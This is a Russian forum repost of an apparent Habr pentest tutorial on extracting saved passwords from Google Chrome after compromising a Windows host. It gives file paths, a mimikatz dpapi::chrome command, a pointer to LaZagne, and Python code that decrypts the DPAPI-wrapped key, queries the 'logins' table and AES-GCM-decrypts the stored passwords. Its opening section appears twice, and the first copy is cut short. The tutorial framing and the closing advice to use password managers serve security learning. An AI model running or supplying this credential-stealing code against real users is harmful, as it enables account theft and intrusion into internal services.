Приветствую, форумчане!
Данная тема будет интересна тем, кто сохраняет учетные записи в браузере. Сначала ответим на вопрос, который возникнул в предыдущей статье, а именно: Ради чего этот пароль искать OSPF, что бы что? И что дальше то с этим делать?
Напоминаю, что пароли это один из важнейших аспектов ИБ и часто используются для защиты информации от несанкционированного доступа. В OSPF парольная аутентификация — это мера безопасности, которую можно использовать для защиты маршрутной информации OSPF от изменения или подделки.
То есть имея пароль, злоумышленник может легко подключиться к домену маршрутизации и вносить изменения. При этом, одной из основных причин использования аутентификации OSPF является предотвращение формирования окружения OSPF неавторизованными устройствами, что, в свою очередь, запрещает доступ к сети и манипулирование ей.
При защитите домена маршрутизации с помощью аутентификации, нужно убедиться, что используемые вами пароли достаточно надежны, а не такие стандартные пароли как в ctf
.
Подключение к домену OSPF
Расскажу быстро историю. Друг меня пригласил принять участие в анализе защищенности, где в процессе работы нам удалось закрепиться в системе. Далее пришла такая идея - проверить какие внутренние сервисы есть в компании; и мы решили прошерстить браузеры сотрудников (в договоре был пунктик, который нужно было выполнить).
В качестве браузера для данной статьи используется «google chrome», предполагаем, что мы прошли/или находимся на этапе «Post-exploitation» (т.е. оставили имплант и наша целевая система под контролем), а теперь посмотрим на файлы, которым стоит уделить особое внимание в «google chrome»:
«google chrome» это только браузер, а не менеджер паролей. Для хранения лучше всего подойдут уже существующие решения - keepass 3.x, passbolt и др.
Спасибо за внимание !
автор prizrakjm
источник habr.com
Данная тема будет интересна тем, кто сохраняет учетные записи в браузере. Сначала ответим на вопрос, который возникнул в предыдущей статье, а именно: Ради чего этот пароль искать OSPF, что бы что? И что дальше то с этим делать?
Напоминаю, что пароли это один из важнейших аспектов ИБ и часто используются для защиты информации от несанкционированного доступа. В OSPF парольная аутентификация — это мера безопасности, которую можно использовать для защиты маршрутной информации OSPF от изменения или подделки.
То есть имея пароль, злоумышленник может легко подключиться к домену маршрутизации и вносить изменения. При этом, одной из основных причин использования аутентификации OSPF является предотвращение формирования окружения OSPF неавторизованными устройствами, что, в свою очередь, запрещает доступ к сети и манипулирование ей.
При защитите домена маршрутизации с помощью аутентификации, нужно убедиться, что используемые вами пароли достаточно надежны, а не такие стандартные пароли как в ctf
.
Подключение к домену OSPF
Итак — начнем!
Многие из нас имеют такую привычку сохранять в браузере свои учетные записи для того, чтобы каждый раз их не вводить при аутентификации. Идея, конечно, хорошая, но иногда эта привычка идет против внутренней политики безопасности определенных компаний и имеет неприятные последствия. Однако, несмотря на ограничения, сотрудники продолжают это делать, ведь никто не проверяет их рабочие ПК до тех пор, пока в компании не провидится аудит безопасности. Статья, которую читаете основана на реальном кейсе.Расскажу быстро историю. Друг меня пригласил принять участие в анализе защищенности, где в процессе работы нам удалось закрепиться в системе. Далее пришла такая идея - проверить какие внутренние сервисы есть в компании; и мы решили прошерстить браузеры сотрудников (в договоре был пунктик, который нужно было выполнить).
В качестве браузера для данной статьи используется «google chrome», предполагаем, что мы прошли/или находимся на этапе «Post-exploitation» (т.е. оставили имплант и наша целевая система под контролем), а теперь посмотрим на файлы, которым стоит уделить особое внимание в «google chrome»:
- Local State : Json файл, который содержит криптографический алгоритм и ключ шифрования (["encrypted_key"]) для ОС. (см. Рис).
Код:
Путь к файлу : "C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Login Data\Local State"
ключ шифрования
Этот ключ используется для шифрования/расшифрования паролей. Важно отметить, что хром использует Симметричный алгоритм шифрование AES. Основное, что нужно знать в AES - это длина ключей, количество раундов при шифровании/расшифровании и режимы.- Login data : в этом файле бинарные данные и SQLite скрипт для создания таблиц БД. Зашифрованный пароль хранится в базе данных SQLite. Нас больше интересует таблица «logins»
-
Код:
Путь к файлу : "C:\Users\<PC Name>\AppData\Local\Google\Chrome\User Data\Default\Login Data"
Файл Login data
Для расшифрования файла login data есть разные инструменты:- mimikatz – удобный инструмент для пентеста в AD.
При наличие masterКey (sekurlsa::dpapi) можно просто:
dpapi::chrome /in:"c:\<путь до Login data>Login Data" /unprotect /masterkey: <hash> - Lazagne - хороший инструмент для восстановления паролей (https://github.com/AlessandroZ/LaZagne)
- Script на «python» и на «Golang» (Github code source)
Script на «Golang» - потому, что можно скомпилировать под разные платформы. - Эти скрипты имеют три основные функции:
1– Получение приватного ключа (secretKey из Local State)
Код:CHROME_PATH = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data"%(os.environ['USERPROFILE'])) with open( CHROME_PATH+"\Local State", "r", encoding='utf-8') as f: localState = f.read() localState = json.loads(localState) secretKey = base64.b64decode(localState["os_crypt"]["encrypted_key"]) #2- Удаляем суффикс DPAPI secretKey = secretKey[5:] secretKey = win32crypt.CryptUnprotectData(secretKey, None, None, None, 0)[1]
- 2 – Получение данных из ДБ SQLite (Tаблица «logins»)
Код:chrome_path_loginDB = CHROME_PATH + " \Login Data" shutil.copy2(chrome_path_loginDB, "Logindata.db") #Подключение к базе данных sqlite conn = sqlite3.connect("Logindata.db") cursor = conn.cursor() #Select data in table logins cursor.execute("SELECT action_url, username_value, password_value FROM logins") for _,login in enumerate(cursor.fetchall()): url = login[0] username = login[1] cipherText= login[2]
3 – Расшифровка cipherText
Чтобы повысить безопасность, добавляется к паролю вектор инициализации (случайная строка данных), что усложнит взлом пароля злоумышленнику (это то же самое, когда добавляем соль чтобы модифицировать входа хэш-функции).
cipherText = вектор инициализации (случайная строка данных) + зашифрованый пароль.
Код:cipherText = b'v10\xf2M\x17S\x17WX\x8a^\x8fQ\x11\xff\xfb\r\xbf\x10\xca\xbf\xbfo\x51?\xc3\xbf\xcb\x17\xd1#J\xdcV?_o\xf2\x05B\x0c' initialisation_value: b'\xf2M\x17S\x17WX\x8a^\x8fQ\x11' encrypted_password: b'\xff\xfb\r\xbf\x10\xca\xbf\xbfo\x51?' вектор инициализации = initialisation_value = cipherText[3:15] зашифрованый пароль = encrypted_password = cipherText[15:-16] cipher = AES.new(secret_key, AES.MODE_GCM, initialisation_value) decrypted_pass = cipher.decrypt(encrypted_password) decrypted_pass = decrypted_pass.decode()
Данные из браузера «google chrome»
Вывод
Эти данные в браузере помогают злоумышленнику быстро ознакомиться с внутренними сервисами и двигаться дальше.«google chrome» это только браузер, а не менеджер паролей. Для хранения лучше всего подойдут уже существующие решения - keepass 3.x, passbolt и др.
Спасибо за внимание !
автор prizrakjm
источник habr.com